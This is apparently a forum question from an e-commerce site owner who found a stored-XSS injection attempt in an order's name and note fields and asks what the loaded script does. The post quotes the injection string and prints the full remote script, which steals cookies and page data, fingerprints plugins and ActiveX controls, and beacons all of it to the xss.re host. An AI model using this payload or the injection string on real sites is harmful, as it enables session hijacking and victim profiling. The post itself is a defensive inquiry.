An e-commerce site I run recently received a suspicious transaction. The field for customer's name included a script tag, like so (customer's name changed to John Doe to protect anonymity):
John Doe"><script src=//xss.re/692></script>
The note field (where customers can write a note about their order) had the same tag without any other text:
"><script src=//xss.re/692></script>
The transaction appears otherwise normal. It's shipping to what appears to be a legitimate address in Ohio. The only other issue is that the somewhat legitimate-looking gmail address, [email protected]
bounced. Since I can't contact the buyer and the general look is shady, I'm going to refund the payment, so no problem there.
What I'm curious about is, what is the purpose of the script tag? Googling "xss.re" doesn't seem to yield anything related, and the site itself just presents a login box for "IHONKER.ORG". The specific url in the script ("xss.re/692") loads the following script:
var x=new Image();
try
{
var myopener='';
myopener=window.opener && window.opener.location ? window.opener.location : '';
}
catch(err)
{
}
x.src='http://xss.re/XSS/?do=api&act=r&id=692&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape
(document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);var activexa = new Array(
"Flash Player 8|ShockwaveFlash.ShockwaveFlash.8|classID",
"Flash Player 9|ShockwaveFlash.ShockwaveFlash.9|classID",
"360Safe|360SafeLive.Update|classID",
"Alibaba User(AliEdit)|Aliedit.EditCtrl|classID",
"CMB Bank|CMBHtmlControl.Edit|classID",
"Apple IPOD USER|IPodUpdaterExt.iPodUpdaterInterface|classID",
"Apple iTunes|iTunesAdmin.iTunesAdmin|classID",
"JRE 1.7|JavaWebStart.isInstalled.1.7.0.0|classID",
"JRE 1.6(WebStart)|JavaWebStart.isInstalled.1.6.0.0|classID",
"KMPlayer|KMPlayer.TKMPDropTarget|classID",
"KingSoft Word(�ʰ�)|KSEngine.Word|classID",
"Windows live Messanger|Messenger.MsgrObject|classID",
"Nero|NeroFileDialog.NeroFileDlg|classID",
"Nokia Cellphone|NokiaCL.PhoneControl|classID",
"PPlayer|PPlayer.XPPlayer|classID",
"Tencent QQ|Qqedit.PasswordEditCtrl|classID",
"QuickTime|QuickTime.QTElementBehavior|classID",
"Symantec Anti-Virus|Symantec.stInetTransferItem|classID",
"Xunlei|XunLeiBHO.ThunderIEHelper|classID"
);
function iescan(){
var mytmp;
var plus;
var bar;
var x=new Image();
for (i=0; i<activexa.length; i++){
mytmp = activexa[i].split('|');
if ( checkobj(mytmp[1]) == true ){
plus+="|"+mytmp[0]+"<br>";
}
}
bar = escape(plus);
x.src='http://xss.re/XSS/?do=api&act=r&id=692&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(document.myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);
}
function checkobj(objName){
try {
var Obj = new ActiveXObject(objName);
return true;
} catch (e){
return false;
}
}
//-------------
function check_plus() {
var plus = "";
var bar = "";
var b=new Image();
var num_of_plugins = navigator.plugins.length;
for (var i=0; i < num_of_plugins; i++) {
plus+= navigator.plugins[i].name+" | "+ navigator.plugins[i].filename +"<br>";
}
bar = escape(plus);
b.src='http://xss.re/XSS/?do=api&act=r&id=692&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);
}
function MyPlusCheck() {
if(!+[1,]){
iescan();
}else{
check_plus();
}
}
setTimeout("MyPlusCheck()", 3000);
I'm having trouble understanding what the script does. So my questions are:
What does this script do?
As long as my site doesn't insert unfiltered user input into the DOM (it currently uses jQuery's .text(), which I believe is XSS safe), do I have anything to worry about from an attack like this?
Is there any plausible way that this tag could have been inserted by someone other than the person placing the order, ie. malware on a legitimate customer's system?